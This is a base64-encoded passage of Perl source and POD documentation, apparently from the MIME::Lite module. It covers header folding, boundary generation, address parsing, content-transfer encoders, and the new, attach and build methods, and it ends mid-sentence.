LS0tLS0tLS0tLS0tLS0gCiMKIyBmb2xkIFNUUklORwojCiMgTWFrZSBTVFJJTkcgc2FmZSBhcyBh IGZpZWxkIHZhbHVlLiAgUmVtb3ZlIGxlYWRpbmcvdHJhaWxpbmcgd2hpdGVzcGFjZSwKIyBhbmQg bWFrZSBzdXJlIG5ld2xpbmVzIGFyZSByZXByZXNlbnRlZCBhcyBuZXdsaW5lK3NwYWNlCgpzdWIg Zm9sZCB7CiAgICBteSAkc3RyID0gc2hpZnQ7CiAgICAkc3RyID1+IHMvXlxzKnxccyokLy9nOyAg ICAjIyMgdHJpbQogICAgJHN0ciA9fiBzL1xuL1xuIC9nOyAgICAgIAogICAgJHN0cjsKfQoKIy0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojCiMgZ2VuX2JvdW5kYXJ5CiMKIyBHZW5lcmF0 ZSBhIG5ldyBib3VuZGFyeSB0byB1c2UuCiMgVGhlIHVuc3VwcG9ydGVkICRWQU5JTExBIGlzIGZv ciB0ZXN0IHB1cnBvc2VzIG9ubHkuCgpzdWIgZ2VuX2JvdW5kYXJ5IHsKICAgIHJldHVybiAoIl8t LS0tLS0tLS0tPV8iLigkVkFOSUxMQSA/ICcnIDogaW50KHRpbWUpLiQkKS4kQkNvdW50KyspOwp9 CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMKIyBrbm93bl9maWVsZCBGSUVMRE5B TUUKIwojIElzIHRoaXMgYSByZWNvZ25pemVkIE1haWwvTUlNRSBmaWVsZD8KCnN1YiBrbm93bl9m aWVsZCB7CiAgICBteSAkZmllbGQgPSBsYyhzaGlmdCk7CiAgICAkS25vd25GaWVsZHskZmllbGR9 IG9yICgkZmllbGQgPX4gbXteKGNvbnRlbnR8cmVzZW50fHgpLS59KTsKfQoKIy0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQojCiMgaXNfbWltZV9maWVsZCBGSUVMRE5BTUUKIwojIElzIHRo aXMgYSBmaWVsZCBJIG1hbmFnZT8KCnN1YiBpc19taW1lX2ZpZWxkIHsKICAgICRfWzBdID1+IC9e KG1pbWVcLXxjb250ZW50XC0pL2k7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K IwojIGV4dHJhY3RfYWRkcnMgU1RSSU5HCiMKIyBTcGxpdCBTVFJJTkcgaW50byBhbiBhcnJheSBv ZiBlbWFpbCBhZGRyZXNzZXM6IHNvbWV3aGF0IG9mIGEgS0xVREdFLgojCiMgVW5sZXNzIHBhcmFu b2lkLCB3ZSB0cnkgdG8gbG9hZCB0aGUgcmVhbCBjb2RlIGJlZm9yZSBzdXBwbHlpbmcgb3VyIG93 bi4KCm15ICRBVE9NICAgICAgPSAnW14gXDAwMC1cMDM3KCk8PkAsOzpcMTM0IlwwNTZcMTMzXDEz NV0rJzsKbXkgJFFTVFIgICAgICA9ICciLio/Iic7Cm15ICRXT1JEICAgICAgPSAnKD86JyAuICRR U1RSIC4gJ3wnIC4gJEFUT00gLiAnKSc7Cm15ICRET01BSU4gICAgPSAnKD86JyAuICRBVE9NIC4g Jyg/OicgLiAnXFwuJyAuICRBVE9NIC4gJykqJyAuICcpJzsKbXkgJExPQ0FMUEFSVCA9ICcoPzon IC4gJFdPUkQgLiAnKD86JyAuICdcXC4nIC4gJFdPUkQgLiAnKSonIC4gJyknOwpteSAkQUREUiAg ICAgID0gJyg/OicgLiAkTE9DQUxQQVJUIC4gJ0AnIC4gJERPTUFJTiAuICcpJzsKbXkgJFBIUkFT RSAgICA9ICcoPzonIC4gJFdPUkQgLiAnKSsnOwpteSAkU0VQICAgICAgID0gIig/Ol5cXHMqfFxc cyosXFxzKikiOyAgICAgIyMjIGJlZm9yZSBlbGVtcyBpbiBhIGxpc3QKCnN1YiBteV9leHRyYWN0 X2FkZHJzIHsKICAgIG15ICRzdHIgPSBzaGlmdDsKICAgIG15IEBhZGRyczsKICAgICRzdHIgPX4g cy9ccy8gL2c7ICAgICAjIyMgY29sbGFwc2Ugd2hpdGVzcGFjZQoKICAgIHBvcygkc3RyKSA9IDA7 CiAgICB3aGlsZSAoJHN0ciAhfiBte1xHXHMqXFp9Z2NvKSB7CgkjIyMgcHJpbnQgU1RERVJSICJU QUNLTElORzogIi5zdWJzdHIoJHN0ciwgcG9zKCRzdHIpKS4iXG4iOwoJaWYgICAgKCRzdHIgPX4g bXtcRyRTRVAkUEhSQVNFXHMqPFxzKigkQUREUilccyo+fWdjbykge3B1c2ggQGFkZHJzLCQxfQoJ ZWxzaWYgKCRzdHIgPX4gbXtcRyRTRVAoJEFERFIpfWdjbykgICAgICAgICAgICAgICAgICAge3B1 c2ggQGFkZHJzLCQxfQoJZWxzaWYgKCRzdHIgPX4gbXtcRyRTRVAoJEFUT00pfWdjbykgICAgICAg ICAgICAgICAgICAge3B1c2ggQGFkZHJzLCQxfQoJZWxzZSB7IAoJICAgIG15ICRwcm9ibGVtID0g c3Vic3RyKCRzdHIsIHBvcygkc3RyKSk7CgkgICAgZGllICJjYW4ndCBleHRyYWN0IGFkZHJlc3Mg YXQgPCRwcm9ibGVtPiBpbiA8JHN0cj5cbiI7Cgl9CiAgICB9CiAgICByZXR1cm4gQGFkZHJzOwp9 CgppZiAoZXZhbCAicmVxdWlyZSBNYWlsOjpBZGRyZXNzIikgewogICAgcHVzaCBAVXNlcywgIkEk TWFpbDo6QWRkcmVzczo6VkVSU0lPTiI7CiAgICBldmFsIHF7CglzdWIgZXh0cmFjdF9hZGRycyB7 CgkgICAgcmV0dXJuIG1hcCB7ICRfLT5mb3JtYXQgfSBNYWlsOjpBZGRyZXNzLT5wYXJzZSgkX1sw XSk7Cgl9CiAgICB9OyAjIyMgcQp9CmVsc2UgewogICAgZXZhbCBxewogICAgICAgIHN1YiBleHRy YWN0X2FkZHJzIHsKCSAgICByZXR1cm4gbXlfZXh0cmFjdF9hZGRycyhAXyk7Cgl9CiAgICB9OyAj IyMgcQp9ICMjIyBpZgoKCgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiM9PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT0KIwojIFBSSVZBVEUgRU5DT0RJTkcgRlVOQ1RJT05TLi4u CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMKIyBlbmNvZGVfYmFzZTY0IFNUUklO RwojCiMgRW5jb2RlIHRoZSBnaXZlbiBzdHJpbmcgdXNpbmcgQkFTRTY0LgojIFVubGVzcyBwYXJh bm9pZCwgd2UgdHJ5IHRvIGxvYWQgdGhlIHJlYWwgY29kZSBiZWZvcmUgc3VwcGx5aW5nIG91ciBv d24uCgppZiAoISRQQVJBTk9JRCBhbmQgZXZhbCAicmVxdWlyZSBNSU1FOjpCYXNlNjQiKSB7CiAg ICBpbXBvcnQgTUlNRTo6QmFzZTY0IHF3KGVuY29kZV9iYXNlNjQpOwogICAgcHVzaCBAVXNlcywg IkIkTUlNRTo6QmFzZTY0OjpWRVJTSU9OIjsKfQplbHNlIHsKICAgIGV2YWwgcXsKc3ViIGVuY29k ZV9iYXNlNjQgewogICAgbXkgJHJlcyA9ICIiOwogICAgbXkgJGVvbCA9ICJcbiI7CgogICAgcG9z KCRfWzBdKSA9IDA7ICAgICAgICAjIyMgdGhhbmtzLCBBbmRyZWFzIQogICAgd2hpbGUgKCRfWzBd ID1+IC8oLnsxLDQ1fSkvZ3MpIHsKCSRyZXMgLj0gc3Vic3RyKHBhY2soJ3UnLCAkMSksIDEpOwoJ Y2hvcCgkcmVzKTsKICAgIH0KICAgICRyZXMgPX4gdHJ8YCAtX3xBQS1aYS16MC05Ky98OwoKICAg ICMjIyBGaXggcGFkZGluZyBhdCB0aGUgZW5kOgogICAgbXkgJHBhZGRpbmcgPSAoMyAtIGxlbmd0 aCgkX1swXSkgJSAzKSAlIDM7CiAgICAkcmVzID1+IHMvLnskcGFkZGluZ30kLyc9JyB4ICRwYWRk aW5nL2UgaWYgJHBhZGRpbmc7CgogICAgIyMjIEJyZWFrIGVuY29kZWQgc3RyaW5nIGludG8gbGlu ZXMgb2Ygbm8gbW9yZSB0aGFuIDc2IGNoYXJhY3RlcnMgZWFjaDoKICAgICRyZXMgPX4gcy8oLnsx LDc2fSkvJDEkZW9sL2cgaWYgKGxlbmd0aCAkZW9sKTsKICAgIHJldHVybiAkcmVzOwp9ICMjIyBz dWIKICB9ICMjIyBxCn0gIyMjIGlmCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMK IyBlbmNvZGVfcXAgU1RSSU5HCiMKIyBFbmNvZGUgdGhlIGdpdmVuIHN0cmluZywgTElORSBCWSBM SU5FLCB1c2luZyBRVU9URUQtUFJJTlRBQkxFLgojIFN0b2xlbiBmcm9tIE1JTUU6OlF1b3RlZFBy aW50IGJ5IEdpc2xlIEFhcywgd2l0aCBhIHNsaWdodCBidWcgZml4OiB3ZQojIGJyZWFrIGxpbmVz IGVhcmxpZXIuICBOb3RpY2UgdGhhdCB0aGlzIHNlZW1zIG5vdCB0byB3b3JrIHVubGVzcwojIGVu Y29kaW5nIGxpbmUgYnkgbGluZS4KIwojIFVubGVzcyBwYXJhbm9pZCwgd2UgdHJ5IHRvIGxvYWQg dGhlIHJlYWwgY29kZSBiZWZvcmUgc3VwcGx5aW5nIG91ciBvd24uCgppZiAoISRQQVJBTk9JRCBh bmQgZXZhbCAicmVxdWlyZSBNSU1FOjpRdW90ZWRQcmludCIpIHsKICAgIGltcG9ydCBNSU1FOjpR dW90ZWRQcmludCBxdyhlbmNvZGVfcXApOwogICAgcHVzaCBAVXNlcywgIlEkTUlNRTo6UXVvdGVk UHJpbnQ6OlZFUlNJT04iOwp9CmVsc2UgewogICAgZXZhbCBxewpzdWIgZW5jb2RlX3FwIHsKICAg IG15ICRyZXMgPSBzaGlmdDsKICAgIGxvY2FsKCRfKTsKICAgICRyZXMgPX4gcy8oW14gXHRcbiEt PD4tfl0pL3NwcmludGYoIj0lMDJYIiwgb3JkKCQxKSkvZWc7ICAjIyMgcnVsZSAjMiwjMwogICAg JHJlcyA9fiBzLyhbIFx0XSspJC8KICAgICAgam9pbignJywgbWFwIHsgc3ByaW50ZigiPSUwMlgi LCBvcmQoJF8pKSB9CgkgICAgICAgICAgIHNwbGl0KCcnLCAkMSkKICAgICAgKS9lZ207ICAgICAg ICAgICAgICAgICAgICAgICAgIyMjIHJ1bGUgIzMgKGVuY29kZSB3aGl0ZXNwYWNlIGF0IGVvbCkK CiAgICAjIyMgcnVsZSAjNSAobGluZXMgc2hvcnRlciB0aGFuIDc2IGNoYXJzLCBidXQgY2FuJ3Qg YnJlYWsgPVhYIGVzY2FwZXM6CiAgICBteSAkYnJva2VubGluZXMgPSAiIjsKICAgICRicm9rZW5s aW5lcyAuPSAiJDE9XG4iIHdoaWxlICRyZXMgPX4gcy9eKC57NzB9KFtePV17Mn0pPykvLzsgIyMj IDcwIHdhcyA3NAogICAgJGJyb2tlbmxpbmVzID1+IHMvPVxuJC8vIHVubGVzcyBsZW5ndGggJHJl czsgCiAgICAiJGJyb2tlbmxpbmVzJHJlcyI7Cn0gIyMjIHN1YgogIH0gIyMjIHEKfSAjIyMgaWYK CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMKIyBlbmNvZGVfOGJpdCBTVFJJTkcK IwojIEVuY29kZSB0aGUgZ2l2ZW4gc3RyaW5nIHVzaW5nIDhCSVQuCiMgVGhpcyBicmVha3MgbG9u ZyBsaW5lcyBpbnRvIHNob3J0ZXIgb25lcy4KCnN1YiBlbmNvZGVfOGJpdCB7CiAgICBteSAkc3Ry ID0gc2hpZnQ7CiAgICAkc3RyID1+IHMvXiguezk5MH0pLyQxXG4vbWc7CiAgICAkc3RyOwp9Cgoj LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMKIyBlbmNvZGVfN2JpdCBTVFJJTkcKIwoj IEVuY29kZSB0aGUgZ2l2ZW4gc3RyaW5nIHVzaW5nIDdCSVQuCiMgVGhpcyBOTyBMT05HRVIgcHJv dGVjdHMgcGVvcGxlIHRocm91Z2ggZW5jb2RpbmcuCgpzdWIgZW5jb2RlXzdiaXQgewogICAgbXkg JHN0ciA9IHNoaWZ0OwogICAgJHN0ciA9fiBzL1tceDgwLVx4RkZdLy9nOyAKICAgICRzdHIgPX4g cy9eKC57OTkwfSkvJDFcbi9tZzsKICAgICRzdHI7Cn0KCiM9PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKPWhlYWQyIENvbnN0cnVj dGlvbgoKPW92ZXIgNAoKPWN1dAoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCj1p dGVtIG5ldyBbUEFSQU1IQVNIXQoKSTxDbGFzcyBtZXRob2QsIGNvbnN0cnVjdG9yLj4KQ3JlYXRl IGEgbmV3IG1lc3NhZ2Ugb2JqZWN0LiAgCgpJZiBhbnkgYXJndW1lbnRzIGFyZSBnaXZlbiwgdGhl eSBhcmUgcGFzc2VkIGludG8gQzxidWlsZCgpPjsgb3RoZXJ3aXNlLApqdXN0IHRoZSBlbXB0eSBv YmplY3QgaXMgY3JlYXRlZC4KCj1jdXQKCnN1YiBuZXcgewogICAgbXkgJGNsYXNzID0gc2hpZnQ7 CgogICAgIyMjIENyZWF0ZSBiYXNpYyBvYmplY3Q6CiAgICBteSAkc2VsZiA9IHsKCUF0dHJzICAg PT4ge30sICAgICAjIyMgTUlNRSBhdHRyaWJ1dGVzCglIZWFkZXIgID0+IFtdLCAgICAgIyMjIGV4 cGxpY2l0IG1lc3NhZ2UgaGVhZGVycwoJUGFydHMgICA9PiBbXSwgICAgICMjIyBhcnJheSBvZiBw YXJ0cwogICAgfTsgICAgCiAgICBibGVzcyAkc2VsZiwgJGNsYXNzOwoKICAgICMjIyBCdWlsZCwg aWYgbmVlZGVkOgogICAgcmV0dXJuIChAXyA/ICRzZWxmLT5idWlsZChAXykgOiAkc2VsZik7Cn0K CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgo9aXRlbSBhdHRhY2ggUEFSVAoKPWl0 ZW0gYXR0YWNoIFBBUkFNSEFTSC4uLgoKSTxJbnN0YW5jZSBtZXRob2QuPgpBZGQgYSBuZXcgcGFy dCB0byB0aGlzIG1lc3NhZ2UsIGFuZCByZXR1cm4gdGhlIG5ldyBwYXJ0LgoKSWYgeW91IHN1cHBs eSBhIHNpbmdsZSBQQVJUIGFyZ3VtZW50LCBpdCB3aWxsIGJlIHJlZ2FyZGVkCmFzIGEgTUlNRTo6 TGl0ZSBvYmplY3QgdG8gYmUgYXR0YWNoZWQuICBPdGhlcndpc2UsIHRoaXMKbWV0aG9kIGFzc3Vt ZXMgdGhhdCB5b3UgYXJlIGdpdmluZyBpbiB0aGUgcGFpcnMgb2YgYSBQQVJBTUhBU0gKd2hpY2gg d2lsbCBiZSBzZW50IGludG8gQzxuZXcoKT4gdG8gY3JlYXRlIHRoZSBuZXcgcGFydC4KCk9uZSBv ZiB0aGUgcG9zc2libHktcXVpdGUtdXNlZnVsIGhhY2tzIHRocm93biBpbnRvIHRoaXMgaXMgdGhl IAoiYXR0YWNoLXRvLXNpbmdsZXBhcnQiIGhhY2s6IGlmIHlvdSBhdHRlbXB0IHRvIGF0dGFjaCBh IHBhcnQgKGxldCdzCmNhbGwgaXQgInBhcnQgMSIpIHRvIGEgbWVzc2FnZSB0aGF0IGRvZXNuJ3Qg aGF2ZSBhIGNvbnRlbnQtdHlwZQpvZiAibXVsdGlwYXJ0IiBvciAibWVzc2FnZSIsIHRoZSBmb2xs b3dpbmcgaGFwcGVuczoKCj1vdmVyIDQKCj1pdGVtICoKCkEgbmV3IHBhcnQgKGNhbGwgaXQgInBh cnQgMCIpIGlzIG1hZGUuCgo9aXRlbSAqCgpUaGUgTUlNRSBhdHRyaWJ1dGVzIGFuZCBkYXRhIChi dXQgSTxub3Q+IHRoZSBvdGhlciBoZWFkZXJzKQphcmUgY3V0IGZyb20gdGhlICJzZWxmIiBtZXNz YWdlLCBhbmQgcGFzdGVkIGludG8gInBhcnQgMCIuCgo9aXRlbSAqCgpUaGUgInNlbGYiIGlzIHR1 cm5lZCBpbnRvIGEgIm11bHRpcGFydC9taXhlZCIgbWVzc2FnZS4KCj1pdGVtICoKClRoZSBuZXcg InBhcnQgMCIgaXMgYWRkZWQgdG8gdGhlICJzZWxmIiwgYW5kIEk8dGhlbj4gInBhcnQgMSIgaXMg YWRkZWQuCgo9YmFjawoKT25lIG9mIHRoZSBuaWNlIHNpZGUtZWZmZWN0cyBpcyB0aGF0IHlvdSBj YW4gY3JlYXRlIGEgdGV4dCBtZXNzYWdlCmFuZCB0aGVuIGFkZCB6ZXJvIG9yIG1vcmUgYXR0YWNo bWVudHMgdG8gaXQsIG11Y2ggaW4gdGhlIHNhbWUgd2F5CnRoYXQgYSB1c2VyIGFnZW50IGxpa2Ug TmV0c2NhcGUgYWxsb3dzIHlvdSB0byBkby4KCj1jdXQKCnN1YiBhdHRhY2ggewogICAgbXkgJHNl bGYgPSBzaGlmdDsKCiAgICAjIyMgQ3JlYXRlIG5ldyBwYXJ0LCBpZiBuZWNlc3Nhcnk6CiAgICBt eSAkcGFydDEgPSAoKEBfID09IDEpID8gc2hpZnQgOiByZWYoJHNlbGYpLT5uZXcoVG9wPT4wLCBA XykpOwoKICAgICMjIyBEbyB0aGUgImF0dGFjaC10by1zaW5nbGVwYXJ0IiBoYWNrOgogICAgaWYg KCRzZWxmLT5hdHRyKCdjb250ZW50LXR5cGUnKSAhfiBte14obXVsdGlwYXJ0fG1lc3NhZ2UpL31p KSB7CgoJIyMjIENyZWF0ZSBwYXJ0IHplcm86CglteSAkcGFydDAgPSByZWYoJHNlbGYpLT5uZXc7 CgoJIyMjIEN1dCBNSU1FIHN0dWZmIGZyb20gc2VsZiwgYW5kIHBhc3RlIGludG8gcGFydCB6ZXJv OiAKCWZvcmVhY2ggKHF3KEF0dHJzIERhdGEgUGF0aCBGSCkpIHsKCSAgICAkcGFydDAtPnskX30g PSAkc2VsZi0+eyRffTsgZGVsZXRlKCRzZWxmLT57JF99KTsKCX0KCSRwYXJ0MC0+dG9wX2xldmVs KDApOyAgICAjIyMgY2xlYXIgdG9wLWxldmVsIGF0dHJpYnV0ZXMKCgkjIyMgTWFrZSBzZWxmIGEg dG9wLWxldmVsIG11bHRpcGFydDoKCSRzZWxmLT57QXR0cnN9IHx8PSB7fTsgICAjIyMgcmVzZXQg ICAgICAgCgkkc2VsZi0+YXR0cignY29udGVudC10eXBlJyAgICAgICAgICAgICAgPT4gJ211bHRp cGFydC9taXhlZCcpOwoJJHNlbGYtPmF0dHIoJ2NvbnRlbnQtdHlwZS5ib3VuZGFyeScgICAgID0+ IGdlbl9ib3VuZGFyeSgpKTsKCSRzZWxmLT5hdHRyKCdjb250ZW50LXRyYW5zZmVyLWVuY29kaW5n JyA9PiAnN2JpdCcpOwoJJHNlbGYtPnRvcF9sZXZlbCgxKTsgICAgICMjIyBhY3RpdmF0ZSB0b3At bGV2ZWwgYXR0cmlidXRlcwoKCSMjIyBBZGQgcGFydCAwOgoJcHVzaCBAeyRzZWxmLT57UGFydHN9 fSwgJHBhcnQwOwogICAgfQoKICAgICMjIyBBZGQgdGhlIG5ldyBwYXJ0OgogICAgcHVzaCBAeyRz ZWxmLT57UGFydHN9fSwgJHBhcnQxOwogICAgJHBhcnQxOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tCgo9aXRlbSBidWlsZCBbUEFSQU1IQVNIXQoKSTxDbGFzcy9pbnN0YW5jZSBt ZXRob2QsIGluaXRpYWxpemVyLj4KQ3JlYXRlIChvciBpbml0aWFsaXplKSBhIE1JTUUgbWVzc2Fn ZSBvYmplY3QuICAKTm9ybWFsbHksIHlvdSdsbCB1c2UgdGhlIGZvbGxvd2luZyBrZXlzIGluIFBB UkFNSEFTSDoKCiAgICogRGF0YSwgRkgsIG9yIFBhdGggICAgICAoZWl0aGVyIG9uZSBvZiB0aGVz ZSwgb3Igbm9uZSBpZiBtdWx0aXBhcnQpCiAgICogVHlwZSAgICAgICAgICAgICAgICAgICAoZS5n LiwgImltYWdlL2pwZWciKQogICAqIEZyb20sIFRvLCBhbmQgU3ViamVjdCAgKGlmIHRoaXMgaXMg dGhlICJ0b3AgbGV2ZWwiIG9mIGEgbWVzc2FnZSkKClRoZSBQQVJBTUhBU0ggY2FuIGNvbnRhaW4g dGhlIGZvbGxvd2luZyBrZXlzOgoKPW92ZXIgNAoKPWl0ZW0gKGZpZWxkbmFtZSkKCkFueSBmaWVs ZCB5b3Ugd2FudCBwbGFjZWQgaW4gdGhlIG1lc3NhZ2UgaGVhZGVyLCB0YWtlbiBmcm9tIHRoZQpz dGFuZGFyZCBsaXN0IG9mIGhlYWRlciBmaWVsZHMgKHlvdSBkb24ndCBuZWVkIHRvIHdvcnJ5IGFi b3V0IGNhc2UpOgoKICAgIEFwcHJvdmVkICAgICAgRW5jcnlwdGVkICAgICBSZWNlaXZlZCAgICAg IFNlbmRlciAgICAgICAgIAogICAgQmNjICAgICAgICAgICBGcm9tICAgICAgICAgIFJlZmVyZW5j ZXMgICAgU3ViamVjdCAKICAgIENjICAgICAgICAgICAgS2V5d29yZHMgICAgICBSZXBseS1UbyAg ICAgIFRvIAogICAgQ29tbWVudHMgICAgICBNZXNzYWdlLUlEICAgIFJlc2VudC0qICAgICAgWC0q CiAgICBDb250ZW50LSogICAgIE1JTUUtVmVyc2lvbiAgUmV0dXJuLVBhdGggICAKICAgIERhdGUg ICAgICAgICAgICAgICAgICAgICAgICBPcmdhbml6YXRpb24KClRvIGdpdmUgZXhwZXJpZW5jZWQg dXNlcnMgc29tZSB2ZXRvIHBvd2VyLCB0aGVzZSBmaWVsZHMgd2lsbCBiZSBzZXQgCkk8YWZ0ZXI+ IHRoZSBvbmVzIEkgc2V0Li4uIHNvIGJlIGNhcmVmdWw6IEk8ZG9uJ3Qgc2V0IGFueSBNSU1FIGZp ZWxkcz4KKGxpa2UgQzxDb250ZW50LXR5cGU+KSB1bmxlc3MgeW91IGtub3cgd2hhdCB5b3UncmUg ZG9pbmchCgpUbyBzcGVjaWZ5IGEgZmllbGRuYW1lIHRoYXQncyBJPG5vdD4gaW4gdGhlIGFib3Zl IGxpc3QsIGV2ZW4gb25lIHRoYXQncwppZGVudGljYWwgdG8gYW4gb3B0aW9uIGJlbG93LCBqdXN0 IGdpdmUgaXQgd2l0aCBhIHRyYWlsaW5nIEM8IjoiPiwKbGlrZSBDPCJNeS1maWVsZDoiPi4gIFdo ZW4gaW4gZG91YnQsIHRoYXQgSTxhbHdheXM+IHNpZ25hbHMgYSBtYWlsIApmaWVsZCAoYW5kIGl0 IHNvcnQgb2YgbG9va3MgbGlrZSBvbmUgdG9vKS4KCj1pdGVtIERhdGEKCkk8QWx0ZXJuYXRpdmUg dG8gIlBhdGgiIG9yICJGSCIuPgpUaGUgYWN0dWFsIG1lc3NhZ2UgZGF0YS4gIFRoaXMgbWF5IGJl IGEgc2NhbGFyIG9yIGEgcmVmIHRvIGFuIGFycmF5IG9mCnN0cmluZ3M7IGlmIHRoZSBsYXR0ZXIs IHRoZSBtZXNzYWdlIGNvbnNpc3RzIG9mIGEgc2ltcGxlIGNvbmNhdGVuYXRpb24gCm9mIGFsbCB0 aGUgc3RyaW5ncyBpbiB0aGUgYXJyYXkuCgo9aXRlbSBEYXRlc3RhbXAKCkk8T3B0aW9uYWwuPgpJ ZiBnaXZlbiB0cnVlIChvciBvbWl0dGVkKSwgd2UgZm9yY2UgdGhlIGNyZWF0aW9uIG9mIGEgQzxE YXRlOj4gZmllbGQgCnN0YW1wZWQgd2l0aCB0aGUgY3VycmVudCBkYXRlL3RpbWUgaWYgdGhpcyBp cyBhIHRvcC1sZXZlbCBtZXNzYWdlLiAgCllvdSBtYXkgd2FudCB0aGlzIGlmIHVzaW5nIEw8c2Vu ZF9ieV9zbXRwKCl8L3NlbmRfYnlfc210cD4uICAKSWYgeW91IGRvbid0IHdhbnQgdGhpcyB0byBi ZSBkb25lLCBlaXRoZXIgcHJvdmlkZSB5b3VyIG93biBEYXRlCm9yIGV4cGxpY2l0bHkgc2V0IHRo aXMgdG8gZmFsc2UuCgo9aXRlbSBEaXNwb3NpdGlvbgoKSTxPcHRpb25hbC4+ClRoZSBjb250ZW50 IGRpc3Bvc2l0aW9uLCBDPCJpbmxpbmUiPiBvciBDPCJhdHRhY2htZW50Ij4uClRoZSBkZWZhdWx0 IGlzIEM8ImlubGluZSI+LgoKPWl0ZW0gRW5jb2RpbmcKCkk8T3B0aW9uYWwuPgpUaGUgY29udGVu dCB0cmFuc2ZlciBlbmNvZGluZyB0aGF0IHNob3VsZCBiZSB1c2VkIHRvIGVuY29kZSB5b3VyIGRh dGE6CgogICBVc2UgZW5jb2Rpbmc6ICAgICB8IElmIHlvdXIgbWVzc2FnZSBjb250YWluczoKICAg LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tCiAgIDdiaXQgICAgICAgICAgICAgIHwgT25seSA3LWJpdCB0ZXh0LCBhbGwgbGluZXMgPDEw MDAgY2hhcmFjdGVycwogICA4Yml0ICAgICAgICAgICAgICB8IDgtYml0IHRleHQsIGFsbCBsaW5l cyA8MTAwMCBjaGFyYWN0ZXJzCiAgIHF1b3RlZC1wcmludGFibGUgIHwgOC1iaXQgdGV4dCBvciBs b25nIGxpbmVzIChtb3JlIHJlbGlhYmxlIHRoYW4gIjhiaXQiKQogICBiYXNlNjQgICAgICAgICAg ICB8IExhcmdlbHkgbm9uLXRleHR1YWwgZGF0YTogYSBHSUYsIGEgdGFyIGZpbGUsIGV0Yy4KClRo ZSBkZWZhdWx0IGlzIHRha2VuIGZyb20gdGhlIFR5cGU7IGdlbmVyYWxseSBpdCBpcyAiYmluYXJ5 IiAobm8KZW5jb2RpbmcpIGZvciB0ZXh0LyosIG1lc3NhZ2UvKiwgYW5kIG11bHRpcGFydC8qLCBh bmQgImJhc2U2NCIgZm9yCmV2ZXJ5dGhpbmcgZWxzZS4gIEEgdmFsdWUgb2YgQzwiYmluYXJ5Ij4g aXMgZ2VuZXJhbGx5IEk8bm90PiBzdWl0YWJsZQpmb3Igc2VuZGluZyBhbnl0aGluZyBidXQgQVND SUkgdGV4dCBmaWxlcyB3aXRoIGxpbmVzIHVuZGVyIDEwMDAKY2hhcmFjdGVycywgc28gY29uc2lk ZXIgdXNpbmcgb25lIG9mIHRoZSBvdGhlciB2YWx1ZXMgaW5zdGVhZC4KCkluIHRoZSBjYXNlIG9m ICI3Yml0Ii8iOGJpdCIsIGxvbmcgbGluZXMgYXJlIGF1dG9tYXRpY2FsbHkgY2hvcHBlZCB0bwps ZWdhbCBsZW5ndGg7IGluIHRoZSBjYXNlIG9mICI3Yml0IiwgYWxsIDgtYml0IGNoYXJhY3RlcnMg YXJlCmF1dG9tYXRpY2FsbHkgSTxyZW1vdmVkPi4gIFRoaXMgbWF5IG5vdCBiZSB3aGF0IHlvdSB3 YW50LCBzbyBwaWNrIHlvdXIKZW5jb2Rpbmcgd2VsbCEgIEZvciBtb3JlIGluZm8sIHNlZSBMPCJB IE1JTUUgUFJJTUVSIj4uCgo9aXRlbSBGSAoKSTxBbHRlcm5hdGl2ZSB0byAiRGF0YSIgb3IgIlBh dGgiLj4KRmlsZWhhbmRsZSBjb250YWluaW5nIHRoZSBkYXRhLCBvcGVuZWQgZm9yIHJlYWRpbmcu ClNlZSAiUmVhZE5vdyIgYWxzby4KCj1pdGVtIEZpbGVuYW1lCgpJPE9wdGlvbmFsLj4KVGhlIG5h bWUgb2YgdGhlIGF0dGFjaG1lbnQuICBZb3UgY2FuIHVzZSB0aGlzIHRvIHN1cHBseSBhIApyZWNv bW1lbmRlZCBmaWxlbmFtZSBmb3IgdGhlIGVuZC11c2VyIHdobyBpcyBzYXZpbmcgdGhlIGF0dGFj aG1lbnQgCnRvIGRpc2suICBZb3Ugb25seSBuZWVkIHRoaXMgaWYgdGhlIGZpbGVuYW1lIGF0IHRo ZSBlbmQgb2YgdGhlIAoiUGF0aCIgaXMgaW5hZGVxdWF0ZSwgb3IgaWYgeW91J3JlIHVzaW5nICJE YXRhIiBpbnN0ZWFkIG9mICJQYXRoIi4KWW91IHNob3VsZCBJPG5vdD4gcHV0IHBhdGggaW5mb3Jt YXRpb24gaW4gaGVyZSAoZS5nLiwgbm8gIi8iIApvciAiXCIgb3IgIjoiIGNoYXJhY3RlcnMgc2hv dWxkIGJlIHVzZWQpLgoKPWl0ZW0gSWQKCkk8T3B0aW9uYWwuPgpTYW1lIGFzIHNldHRpbmcgImNv bnRlbnQtaWQiLgoKPWl0ZW0gTGVuZ3RoCgpJPE9wdGlvbmFsLj4KU2V0IHRoZSBjb250ZW50IGxl bmd0aCBleHBsaWNpdGx5LiAgTm9ybWFsbHksIHRoaXMgaGVhZGVyIGlzIGF1dG9tYXRpY2FsbHkK Y29tcHV0ZWQsIGJ1dCBvbmx5IHVuZGVyIGNlcnRhaW4gY2lyY3Vtc3RhbmNlcyAoc2VlIEw8Ikxp bWl0YXRpb25zIj4pLgoKPWl0ZW0gUGF0aAoKSTxBbHRlcm5hdGl2ZSB0byAiRGF0YSIgb3IgIkZI Ii4+ClBhdGggdG8gYSBmaWxlIGNvbnRhaW5pbmcgdGhlIGRhdGEuLi4gYWN0dWFsbHksIGl0IGNh 